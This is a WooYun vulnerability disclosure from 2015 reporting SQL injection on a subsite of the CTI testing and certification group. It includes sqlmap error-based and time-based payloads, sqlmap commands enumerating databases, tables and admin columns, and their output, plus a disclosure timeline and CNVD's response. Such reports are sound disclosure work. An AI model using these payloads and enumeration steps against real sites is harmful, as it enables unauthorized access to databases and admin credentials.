当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0141840

漏洞标题：CTI 华测检测认证集团某重要分站存在注入漏洞

相关厂商：CTI 华测检测认证集团

漏洞作者： yonghao

提交时间：2015-09-19 23:33

修复时间：2015-11-05 17:12

公开时间：2015-11-05 17:12

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：6

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-19： 细节已通知厂商并且等待厂商处理中
2015-09-21： cncert国家互联网应急中心暂未能联系到相关单位，细节仅向通报机构公开
2015-10-01： 细节向核心白帽子及相关领域专家公开
2015-10-11： 细节向普通白帽子公开
2015-10-21： 细节向实习白帽子公开
2015-11-05： 细节向公众公开

简要描述：

使用sqlmap对注入点进行注入攻击，一下该例为查询数据库banner，通过改变命令参数可以对其进行更深入的攻击。

详细说明：

http://**.**.**.**/index.php?c=default&a=content&p=5&ic_id=84&id=260%20and%20Length((database(0411hx))))%3C5

D:\wwwroot\0411hx\wwwroot\lib\FLEA\FLEA\Db\Driver\Mysql.php 
 D:\wwwroot\0411hx\wwwroot\index.php [37]


Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: c=default&a=content&p=5 AND (SELECT 7055 FROM(SELECT COUNT(*),CONCAT(0x716b717071,(SELECT (ELT(7055=7055,1))),0x71786b7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&ic_id=84&id=260
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: c=default&a=content&p=5 AND SLEEP(5)&ic_id=84&id=260
---
[11:13:49] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: ASP.NET, PHP 5.2.17
back-end DBMS: MySQL 5.0
[11:13:49] [INFO] fetching database names
[11:13:51] [INFO] the SQL query used returns 2 entries
[11:13:52] [INFO] retrieved: information_schema
[11:13:53] [INFO] retrieved: 0411hx
available databases [2]:
[*] 0411hx
[*] information_schema
[11:13:53] [INFO] fetched data logged to text files under '/root/.sqlmap/output/**.**.**.**'


sqlmap -u "
http://**.**.**.**/index.php?c=default&a=content&p=5&ic_id=84&id=260" --dbs

XINXI1.png


XINXI.png

漏洞证明：

sqlmap -u "
http://**.**.**.**/index.php?c=default&a=content&p=5&ic_id=84&id=260" --dbs

loudong.png


sqlmap -u "
http://**.**.**.**/index.php?c=default&a=content&p=5&ic_id=84&id=260" -D 0411hx --tables

biao.png


hmy_admin.png


Database: 0411hx
[13 tables]
+----------------+
| hmy_admin      |
| hmy_baoming    |
| hmy_config     |
| hmy_info       |
| hmy_info_cate  |
| hmy_info_cate1 |
| hmy_info_cate2 |
| hmy_message    |
| hmy_photo      |
| hmy_photo1     |
| hmy_photo_cate |
| hmy_showmess   |
| hmy_url        |
+----------------+


sqlmap -u "
http://**.**.**.**/index.php?c=default&a=content&p=5&ic_id=84&id=260" -D 0411hx --T hmy_admin --columns

admin.png


修复方案：

对其uid参数进行检查并且进行过滤。

版权声明：转载请注明来源 yonghao@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-09-21 17:10

厂商回复：


CNVD确认所述情况，已经转由CNCERT下发给辽宁分中心，由其后续协调网站管理单位处置。

最新状态：

暂无